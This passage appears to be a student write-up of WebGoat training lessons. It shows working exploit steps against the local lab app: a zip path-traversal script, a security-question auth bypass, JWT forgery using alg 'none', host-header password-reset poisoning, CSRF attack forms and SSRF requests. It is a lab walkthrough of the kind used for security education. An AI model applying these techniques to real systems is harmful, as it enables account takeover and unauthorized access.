Date: Thu, 11 Jul 2024 16:32:24 GMT
Content-Length: 288


{
  "lessonCompleted":true,
  "feedback":"Congratulations. You have successfully completed the assignment.",
  "output":null,
  "assignment":"ProfileUploadRemoveUserInput",
  "attemptWasMade":true
}
```

And we did it again!

In the next lesson, our task is to try to find a file called `path-traversal-secret.jpg`.



Let's hit the "show random cat" button and see the request and the response:



Let's try to edit the request as follows:

```
/PathTraversal/random-picture?id=../../..
```


If we'll send the request as modified above, we'll get a response that says `../` is illegal. So, we'll take `../..` and encode it to URL format with Burp's encoder:



We can see that the server can process the request. Now we're gonna find the files path.

We'll try to find the file provided in this task:


path-traversal-secret.jpg :



And we found it!

In the next task, we're only allowed to upload zip files. We have this page:

Location
/home/webgoat/.webgoat-2023.0/PathTraversal/ariel97/ariel97.jpg



Full Name:
test

Email:
test@test.com

Password:

Update

Let's try to upload a zip file and see what happens.

We got this response:

Sorry the solution is not correct, please try again.
Zip file extracted successfully failed to copy the image. Please get in touch with our helpdesk.

Let's create a zip file that traverses to the top and then back into the given directory in the task.

First, we create a directory:

```
mkdir C:\WebGoat\PathTraversal\ariel97
cd C:\WebGoat\PathTraversal\ariel97
```

Now, let's download an image from WebWolf:

```
curl -o ariel97.jpg http://127.0.0.1:9090/WebWolf/images/wolf.png
```

Now, let's create a zip file with file traversal:

```
import zipfile
import os

zip_path = r'C:\WebGoat\PathTraversal\ariel97\profile.zip'
file_to_add = r'C:\WebGoat\PathTraversal\ariel97\ariel97.jpg'
traversal_path = r'../../../../../../../../WebGoat\PathTraversal\ariel97\ariel97.jpg'

with zipfile.ZipFile(zip_path, 'w') as zip_file:
    zip_file.write(file_to_add, traversal_path)
```

Now, let's run the script to create a zip using the following command:

```
python test.py
```

And finally, we'll try to upload the zip:

Congratulations. You have successfully completed the assignment.
Zip file extracted successfully failed to copy the image. Please get in touch with our helpdesk.

An, we're done!

Identity and Auth failure

Authentication Bypasses

Authentication Bypasses happen in many ways but usually take advantage of some flaw in the configuration or logic. Tampering to achieve the right conditions.

according to the background for this module the functionality to verify the security questions was implemented wrong in the backend. we can exploit it by noticing how the backend is verifying the security questions, it looks something like this:

```

if(key.contains("secQuestion")){
    map.put(key, value)
}

if(map.size()==2) {
    //check map in ("secQuestion0") and ("secQuestion1")
}

```

we can easily manipulate the query using a proxy to pass the first condition and to not verify the map in the above mentioned keys. all we need to do is to change the params value to have "secQuestion" as a prefix and not have "0" or "1" as a last character.

for example:

```

1 POST /WebGoat/auth-bypass/verify-account HTTP/1.1
2 Host: localhost:8080
3 Content-Length: 95
4 sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
5 Accept-Language: en-US
6 sec-ch-ua-mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
8 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
9 Accept: */*
10 X-Requested-With: XMLHttpRequest
11 sec-ch-ua-platform: "macOS"
12 Origin: http://localhost:8080
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: http://localhost:8080/WebGoat/start.mvc?username=saarazari
17 Accept-Encoding: gzip, deflate, br
18 Cookie: hijack_cookie=1635892820320073689-1720692490524; JSESSIONID=NXC-ib_314U84e3nZjWRnylTJqzS98h2UNGHTng2; spoof_auth=
    "NmQ1NzVhNzE1NjU5NDk1OTR1NzQ3NDYxNmY2NzYyNjU3Nw=="
19 Connection: keep-alive
20
21 secQuestion0=Hemi&secQuestion1=Leibovich&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746

```

when intercepting the query done in the module we see the names for the security questions:

The Scenario

You reset your password, but do it from a location or device that your provider does not recognize. So you need to answer the security questions you set up. The other issue is Those security questions are also stored on another device (not with you), and you don't remember them.

You have already provided your username/email and opted for the alternative verification method.

Verify Your Account by answering the questions below:

What is the name of your favorite teacher?

What is the name of the street you grew up on?

lets modify the query using the proxy:

Request		Response	
Pretty	Raw	Pretty	Raw
<pre> 1 POST /WebGoat/auth-bypass/verify-account HTTP/1.1 2 Host: localhost:8080 3 Content-Length: 95 4 sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126" 5 Accept-Language: en-US 6 sec-ch-ua-mobile: ?0 7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36 8 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 9 Accept: */* 10 X-Requested-With: XMLHttpRequest 11 sec-ch-ua-platform: "macOS" 12 Origin: http://localhost:8080 13 Sec-Fetch-Site: same-origin 14 Sec-Fetch-Mode: cors 15 Sec-Fetch-Dest: empty 16 Referer: http://localhost:8080/WebGoat/start.mvc?username=saarazari 17 Accept-Encoding: gzip, deflate, br 18 Cookie: hijack_cookie=1635892828328873689-1728692498524; JSESSIONID= NXC-1b_314U84e3nZjWRnyLTJqz598h2UNGHTng2; spoof_auth= "NmQ1NzVhNzE1NjUSNDk1OTRlNzQ3NDYxNmY2NzYyNjU3Nw==" 19 Connection: keep-alive 20 21 secQuestionA=Hemi&secQuestionB=Leibovich&isEnabled=1&verifyMethod=SEC_QUESTION5& userId=12389746 </pre>		<pre> 1 HTTP/1.1 200 OK 2 Connection: keep-alive 3 Content-Type: application/json 4 Date: Thu, 11 Jul 2024 14:23:34 GMT 5 Content-Length: 246 6 7 { 8 "lessonCompleted":true, 9 "feedback": 10 "Congrats, you have successfully verified the account without actually verifyin 11 g it. You can now change your password!", 12 "output":null, 13 "assignment":"VerifyAccount", 14 "attemptWasMade":true 15 } </pre>	

and now we actually pass the 2FA and can change the user password.

Insecure login

Let's try

Click the "log in" button to send a request containing the login credentials of another user. Then, write these credentials into the appropriate fields and submit them to confirm. Try using a packet sniffer to intercept the request.

lets inspect the network traffic for this webpage:

WEBGOAT

- Introduction
- General
- (A1) Broken Access Control
- (A2) Cryptographic Failures
- (A3) Injection
- (A8) Security Misconfiguration
- (A6) Vuln & Outdated Components
- (A7) Identity & Auth Failure
 - Authentication Bypasses
 - Insecure Login**
 - JWT tokens
 - Password reset
 - Secure Passwords
- (A8) Software & Data Integrity
- (A9) Security Logging Failures
- (A10) Server-side Request Forgery
- Client side

Insecure Login

Search lesson

Reset lesson

Let's try

Click the "log in" button to send a request containing the login credentials of another user. Then, write these credentials into the appropriate fields and submit them to confirm. Try using a packet sniffer to intercept the request.

Name	Status	Type	Initiator	Size	Time
lessonmenu.mvc	200	xhr	jquery-2.1.4.min.js	8.4 kB	53 ms
lessonoverview.mvc	200	xhr	jquery-2.1.4.min.js	288 B	52 ms
start.mvc?username=saarazari	405	xhr	VM62:5	15.6 kB	53 ms

we can see `start.mvc?username=saarazari` received a 405 response code.

- lessonmenu.mvc
- lessonoverview.mvc
- start.mvc?username=saarazari

General

Request URL: `http://localhost:8080/WebGoat/start.mvc?username=saarazari`

Request Method: `POST`

Status Code: `405 Method Not Allowed`

Remote Address: `127.0.0.1:8081`

Referrer Policy: `strict-origin-when-cross-origin`

Response Headers

Allow: `GET, HEAD`

Connection: `keep-alive`

Content-Disposition: `inline; filename=1.txt`

Content-Length: `15391`

Content-Type: `application/json`

Date: `Thu, 11 Jul 2024 14:42:00 GMT`

we found the login credential for another user in the payload of the request

Request Payload

view source

```
{username: "CaptainJack", password: "BlackPearl"}
password: "BlackPearl"
username: "CaptainJack"
```

insert it and we are done:

☒

Congratulations. You have successfully completed the assignment.

JWT tokens

Many application use JSON Web Tokens (JWT) to allow the client to indicate its identity for further exchange after authentication.

Open Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information about the user who is using the service. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (in the HMAC algorithm) or a public/private key pair using RSA.

JSON web token is used to carry information related to the identity and characteristics (claims) of a client. This "container" is signed by the server. In order to verify the signature, the client needs to know the secret key or the identity or any characteristics (example: change the token from simple user to admin or change the client id). This token is created during authentication and is used by the client to access the server resources. The server will allow the user before any processing. It is used by an application to allow a user to access the server resources. The server will allow the user with all user information about him to access and allow the server to verify the validity and integrity of the token in a secure way, all of this in a standardized way. The token is used to access the server resources. The token can be different including also the transport channel used like HTTP is the most often used.

Structure of a web token:



The token is base64 encoded and consists of three parts:

- header
- claims
- signature

Both header and claims consist are represented by a JSON object. The header describes the cryptographic operations applied to the JWT and optionally, additional properties of the JWT. The claims represent a JSON object whose members are the claims conveyed by the JWT.

JWT claim misuse

JWT claim misuse can happen in different ways:

- **Unauthorized claims:** A malicious user might try to add unauthorized claims to a JWT to gain access to certain features or resources they are not entitled to—for example, a regular user attempts to modify their JWT to claim administrator privileges.
- **Tampering claims:** An attacker might try to modify the values of existing claims in the JWT to manipulate their own identity or alter their permissions. For instance, they are changing the "user_id" claim to impersonate a different user.
- **Excessive claims:** An attacker could try to include many unnecessary or fake claims in a JWT to increase the token size and possibly disrupt the system's performance or cause other issues.
- **Expired or altered expiration claims:** If an attacker can modify the "exp" claim to extend the token's expiration time, they can effectively gain access beyond their intended session.
- **Replay attacks:** An attacker might try to reuse a valid JWT from an old session to impersonate the original user or exploit time-limited functionality.
- **Key claim manipulation:** In some cases, the "kid" (key ID) claim may be misused, as explained in the previous answer. An attacker might try manipulating the "kid" claim to use a different key for signature verification.

now that we have the background for the task, let's follow the instruction of this module:

[illegible]

lets copy the JWT token to the WebWolf decoder

Testing for Insecure Direct O x WebGoat x 127.0.0.1:9090/WebWolf/jwt x +

127.0.0.1:9090/WebWolf/jwt

WebWolf Home Files Mailbox Incoming requests JWT saarazari Sign out

Decode or encode a JWT some of the exercises need to encode or decode a new token

Encoded

```
eyJhbGciOiJIUzI1NiJ9.eyJ0KICAIYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTjIiICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNSaWVudC13aXRoLXNlY3JldCIzDQogICJleHAiIDogMTYwNzA5OTYwOjCwNCiAgImp0aSIgOiAiOWJjOTJhNDQ0tMGxYS00YzVLLWJlbnZAtZGE1MjA3NWl5YTg0IiwNCiAgInNjb3B1IiA6IFsgInJlYWQiLCJpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9LYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfe199iI
```

Decoded

Header

```
{
  "alg": "HS256"
}
```

Payload

```
{
  "authorities": [ "ROLE_ADMIN", "ROLE_USER" ],
  "client_id": "my-client-with-secret",
  "exp": 1607099608,
  "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
  "scope": [ "read", "write" ],
  "user_name": "user"
}
```

Secret key Enter your secret key

Signature invalid


we can see the user name is `user` and when putting it in the input we done (:

Username:

Congratulations. You have successfully completed the assignment.



A basic sequence of getting a token is as follows:




In this flow, you can see the user logs in with a username and password on successful authentication the server returns. The server creates a new token and returns this one to the client. When the client makes a successive call toward the server it attaches the new token in the "Authorization" header. The server reads the token and first validates the signature after a successful verification the server uses the information in the token to identify the user.

Each JWT token should at least be signed before sending it to a client, if a token is not signed the client application would be able to change the contents of the token. the signing specifications are here:

<https://datatracker.ietf.org/doc/html/rfc7515>


It basically comes down you use "HMAC with SHA-2 Functions" or "Digital Signature with RSASSA-PKCS1-v1_5/ECDSA/RSASSA-PSS" function for signing the token.

we need to change the token you receive and become an admin user by changing the token and once you are admin reset the votes.



instead of guest lets switch to tom:

when trying to reset the votes as tom we get an error



lets capture the request with burp, we need the `POST` request with the `voting` endpoint.

we get

let's decode it:

Decoded	Payload
<pre>header { "alg" : "HS512" }</pre>	<pre>{ "admin" : "false", "iat" : 1721579778, "user" : "Tom" }</pre>

lets capture the header part `eyJhbGciOiJIUzUxMiJ9` .

we just need to tell the server that instead of HS512 signing we will use `none` signing and then we can modify the payload as needed to gain root access.

lets decode the header into `{"alg": "none"}` and the payload to make tom an admin..

Encoded	
<pre>eyJhbGciOiJIub250In0.ew0KICAiYWRTaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE3MjE1Nzk3NzgsDQogICJ1c2VyIiA6ICJub20iDQp9</pre>	
Decoded	
Header	Payload
<pre>{ "alg" : "none" }</pre>	<pre>{ "admin" : "true", "iat" : 1721579778, "user" : "Tom" }</pre>


put it inside the repeater:

[illegible]

notice that we also deleted the signature part from the `access_token` header in order for it to work.

Password reset

for this part we logged into <http://127.0.0.1:9090/WebWolf/home>



next we select “forgot password” in the module screen

[illegible]

when writing the mail in the input box we got a new password

Simple e-mail assignment webgoat@owasp.org

Thanks for resetting your password, your new password is: irazaraas


by entering it we passed the task.



The screenshot shows the 'Account Access' form in WebGoat. It has fields for 'Email' and 'Password', and an 'Access' button. Below the button is a link that says 'Forgot your password?'. At the bottom of the form, a message reads: 'Congratulations, You have successfully completed the assignment.'

Security questions

When the user does not exist, the application says "user with this email cannot be found". Which means it does not exist.



The screenshot shows the 'WebGoat Password Recovery' form. It has fields for 'Your username' (containing 'shazor') and 'What is your favorite color?' (containing 'color'). A 'Submit' button is at the bottom. Below the button, a message reads: 'User shazor is not a valid user.'

when trying a user that exists we get the following



The screenshot shows the 'WebGoat Password Recovery' form. It has fields for 'Your username' (containing 'tom') and 'What is your favorite color?' (containing 'color'). A 'Submit' button is at the bottom. Below the button, a message reads: 'Sorry the solution is not correct, please try again.'

i tried a combination of different colors until i found out that purple was the correct one.



The screenshot shows the 'WebGoat Password Recovery' form. It has fields for 'Your username' (containing 'tom') and 'What is your favorite color?' (containing 'purple'). A 'Submit' button is at the bottom. Below the button, a message reads: 'Congratulations, You have successfully completed the assignment.'

This is called an oracle attack, which takes advantage of the ability to query the oracle and observe its responses to gain insights that should not be accessible under normal circumstances.

The problem with security questions

When you have looked at two questions the assignment will be marked as complete.




The screenshot shows the 'The Problem with Security Questions' assignment page. It contains text explaining that security questions are often easy to guess or look up. It lists several common security questions: 'What is your favorite animal?', 'What is your favorite color?', 'What is your favorite food?', 'What is your favorite movie?', 'What is your favorite sport?', 'What is your favorite TV show?', 'What is your favorite book?', 'What is your favorite song?', 'What is your favorite city?', 'What is your favorite country?'. It also includes a 'Check' button and a message: 'Congratulations, You have successfully completed the assignment.'

Password Reset(6)

we need to reset Tom account , first let's send a rest password to my own account

in the WebWolf server we see



This is the URL for the link to reset the password:

<http://localhost:8080/WebGoat/PasswordReset/reset/reset-password/b7517641-02ee-4e9f-8594-085b2e07a91d>.

lets Turn on the interceptor in BurpSuite and then submit the reset password request for Tom's emails.

when submitting the request but having a proxy in between we can capture the request

now, we want to modify the host to be our local web server on port 9090

let modify the host in the repeater and see the result

when going to our web server requests section we see the request

```
{
  "timestamp": "2024-07-13T17:31:26.434258346Z",
  "request": {
    "url": "http://127.0.0.1:9999/WebWolf/PasswordReset/reset/reset-password/9088c820-8a09-4c0b-a3f5-4076512185a3",
    "remoteAddress": null,
    "method": "GET",
    "headers": {
      "Accept": [ "application/json, application/*+json" ],
      "Connection": [ "keep-alive" ],
      "User-Agent": [ "Java/21.0.1" ],
      "Host": [ "127.0.0.1:9080" ]
    }
  },
  "response": {
    "status": 404,
    "headers": {
      "X-Frame-Options": [ "DENY" ],
      "Cache-Control": [ "no-cache, no-store, max-age=0, must-revalidate" ],
      "X-Content-Type-Options": [ "nosniff" ],
      "Vary": [ "Origin", "Access-Control-Request-Method", "Access-Control-Request-Headers" ],
      "Expires": [ "0" ],
      "Pragma": [ "no-cache" ],
      "X-XSS-Protection": [ "0" ]
    }
  },
  "principal": null,
  "session": null,
  "timeTaken": "PT0.0043072895S"
}
```

copy the endpoint to localhost:8080 and we reach the change password screen

changed the password to 1-6 and now we can login successfully

Server Side Request Forgery:

Cross-Site Request Forgery:

In this task we're presented with this page:


Basic Get CSRF Exercise

Trigger the form below from an external source while logged in. The response will include a 'flag' (a numeric value).

Confirm Flag

Confirm the flag you should have gotten on the previous page below.

Confirm Flag Value:



If we hit the submit button, we can see the following message:

```
{
  "flag" : null,
  "success" : false,
  "message" : "Appears the request came from the original host"
}
```

Let's create our own fake HTML page with the following code:

```
<html>
<body>
  <script>history.pushState('', '', '/');</script>
  <form action="http://localhost:8080/WebGoat/csrf/basic-get-flag" method="POST">
    <input type="hidden" name="csrf" value="false" />
    <input type="hidden" name="submit" value="Submit" />
    <input type="submit" value="Submit" />
  </form>
</body>
</html>
```

Now, let's upload the file to WebWolf:

Upload a file

No file chosen

Filename	Size	Creation time
fake.html	328 bytes	2024-07-14 12:01:39

After opening `fake.html` in a new tab, we see this page:

← → ↻ ⓘ 127.0.0.1:9090

We hit the submit button and a new tab opens with the following message:


```
{
  "flag" : 22381,
  "success" : true,
  "message" : "Congratulations! Appears you made the request from a separate host."
}
```

We, type in the flag:

Congratulations! Appears you made the request from your local machine.
Correct, the flag was 22381

And, we're done!

In the next lesson, our task is to post a comment on someone else's behalf:



Let's start by posting a comment and see how the request looks like:

```
POST /WebGoat/csrf/review HTTP/1.1
Host: localhost:8080
Content-Length: 79
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Referer: http://localhost:8080/WebGoat/start.mvc?username=ariel97
Cookie: JSESSIONID=LUS-J18NLYgRNMJW1DvjNUPtkr5rHyP6qdmuyifN
Connection: keep-alive

reviewText=just+a+review...0stars=5&validateReq=2aa14227b9a13d0bede0388a7fba9aa9
```

Seems like there is a new parameter in the request which called `validateReq`.

As before, we'll try to post a comment from an external domain to trigger this action.

Let's create another fake HTML page:

```
<html>


<body>
  <form action="http://localhost:8080/WebGoat/csrf/review" method="post"
    enctype="application/x-www-form-urlencoded; charset=UTF-8">
    <input name="reviewText" value="review" type="hidden">
    <input name="stars" value="5" type="hidden">
    <input name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9" type="hidden">
    <input type="submit" value="Submit">
  </form>
</body>

</html>
```

Now, we'll open the HTML file on the server and submit the comment. We get this message in a new tab:

```
{
  "lessonCompleted" : true,
  "feedback" : "It appears you have submitted correctly from another site. Go reload and see if your post is the",
  "output" : null,
  "assignment" : "ForgedReviews",
  "attemptWasMade" : true
}
```

Let's reload the site and see if our comment is there:



As expected, and we're done!

In the next lesson, we need to achieve to POST the following JSON message to our endpoints:

```
POST /csrf/feedback/message HTTP/1.1
```

```
{
  "name"      : "WebGoat",
  "email"     : "webgoat@webgoat.org",
  "content"   : "WebGoat is the best!!"
}
```

Again, we need to make the call from another origin.

First, let's to send the message as it is and see what happens:

A screenshot of a web application form. The form has four main sections: 'Name' with the value 'WebGoat', 'Email Address' with the value 'webgoat@webgoat.org', 'Subject' with a dropdown menu showing 'General Customer Service', and 'Message' with the text 'WebGoat is the best!!'. A 'Send Message' button is located at the bottom right of the form.

When we intercept the request with Burp, this is what we get:

```
POST /WebGoat/csrf/feedback/message HTTP/1.1
Host: localhost:8080
Content-Length: 182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: application/json
Origin: http://localhost:8080
Referer: http://localhost:8080/WebGoat/start.mvc?username=ariel97
Cookie: JSESSIONID=unP0z2vfwzomhu1j3bvd3ny1Dxqy8th2W0K3
Connection: keep-alive

{
  "name": "WebGoat",
  "email": "webgoat@webgoat.org",
  "subject": "service",
  "message": "WebGoat is the best!!"
}
```

And this is the server's response:

```
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
Date: Sun, 14 Jul 2024 10:26:25 GMT
Content-Length: 181

{
  "lessonCompleted": false,
  "feedback": "Sorry the solution is not correct, please try again.",
  "output": null,
  "assignment": "CSRFFeedback",
  "attemptWasMade": true
}
```

Maybe we get this response because the form we submitted is not in JSON format. So, to overcome this issue, we'll create an HTML form that sends the data in JSON format.

In our form, we'll use

`enctype="text/plain"` in order to force the browser to send the data as plain text, without URL encoding. We'll also format the form fields to create a JSON payload. Here's our HTML form:


```
<html>
<form enctype="text/plain" method="POST" action="http://localhost:8080/WebGoat/csrf/feedback/message">
  <input type="hidden"
    name='{ "name": "WebGoat", "email": "webgoat@webgoat.org", "content": "WebGoat is the best!!", "ignoreme": "'
    value='sdfsdfdf"'>
  <button>submit</button>
</form>

</html>
```

We'll upload it using WebWolf and submit it. After submitting, we get this message:

```
{
  "lessonCompleted" : true,
  "feedback" : "Congratulations you have found the correct solution, the flag is: b0d7ad92-ef61-44ad-9e4b-4e85fb",
  "output" : null,
  "assignment" : "CSRFFeedback",
  "attemptWasMade" : true
}
```

We paste the flag value we received:



And, we're done!

In the next lesson, our task is to try to see if WebGoat is also vulnerable to CSRF attack.

We'll create another user prefixed with

`csrf-`, in our case, the new user is `csrf-ariel97`.


After creating a new user, we'll create an HTML file that logs the new user in:

```
<html>

<form action="http://localhost:8080/WebGoat/login" method="POST" style="width: 300px;">
  <input type="hidden" name="username" value="csrf-ariel97">
  <input type="hidden" name="password" value="123456">
  <button type="submit">Sign in</button>
</form>
<script>document.login.submit()</script>

</html>
```

Now, if go to our original account and click on the "Solved" button, we can see that now we're logged in as `csrf-ariel97` instead of `ariel97`:



And, we're done!

Server-Side Request Forgery:

Now, we're presented with the following task:



Let's click and see what happens:

When intercepting with burp, we look at the request:

```
POST /WebGoat/SSRF/task1 HTTP/1.1
Host: localhost:8080
Content-Length: 20
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6478.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Referer: http://localhost:8080/WebGoat/start.mvc?username=csrf-ariel97
Cookie: JSESSIONID=juj007q0l5cDu-YMf020tPfv_PXmKQ4l0jC_1aIg
Connection: keep-alive

url=images%2ftom.png
```

We can see that the URL requests `tom.png`. Let's try to change it to `jerry.png`, send the request again and see what happens. We modify the request as follows:

```
POST /WebGoat/SSRF/task1 HTTP/1.1
Host: localhost:8080
Content-Length: 22
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6478.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Referer: http://localhost:8080/WebGoat/start.mvc?username=csrf-ariel97
Cookie: JSESSIONID=juj007q0l5cDu-YMf020tPfv_PXmKQ4l0jC_1aIg
Connection: keep-alive

url=images%2fjerry.png
```

And we receive the following response:

```
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
Date: Sun, 14 Jul 2024 10:59:05 GMT
Content-Length: 254

{
  "lessonCompleted": true,
  "feedback": "You rocked the SSRF!",
  "output":
    <img class=\\\\"image\\\\" att=\\\\"Jerry\\\\" src=\\\\"images\\\\"jerry.png\\\\" width=\\\\"256\\\\" height=\\\\"256\\\\">\\",
  "assignment": "SSRF task1",
  "attemptMade": true
}
```

Which means we completed the task successfully!

In the next lesson, we're given this task:



Let's click the button and see what happens.

Like in the previous task, we intercept the request again:

```
POST /WebGoat/SSRF/task2 HTTP/1.1
Host: localhost:8080
Content-Length: 20
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6478.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Referer: http://localhost:8080/WebGoat/start.mvc?username=csrf-ariel97
Cookie: JSESSIONID=juj007q0l5cDu-YMf020tPfv_PXmKQ4l0jC_1aIg
Connection: keep-alive

url=images%2fcat.png
```

As described in the task, Let's try to change the URL parameter to `http://ifconfig.pro` and try to resend it. This is our modified request:

```
POST /WebGoat/SSRF/task2 HTTP/1.1
Host: localhost:8080
Content-Length: 23
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Referer: http://localhost:8080/WebGoat/start.mvc?username=csrf-ariel97
Cookie: JSESSIONID=iuIG07qDl5cDu-YMF020tPFv_PXmkQ416jC_1a1g
Connection: Keep-alive
url=http://ifconfig.pro
```

And we receive the following response:

```
HTTP/1.1 200 OK
Connection: Keep-alive
Content-Type: application/json
Date: Sun, 14 Jul 2024 11:16:35 GMT
Content-Length: 279

{
  "lessonCompleted":true,
  "feedback":"You rocked the SSRFI",
  "output":
    "html<body>Although the http:\\\\\\ifconfig.pro site is down, you still m
    anaged to solve this exercise the right way!<\\body><\\html>",
  "assignment":"SSRFtask2",
  "attemptWasMade":true
}
```

Which means we completed the task successfully!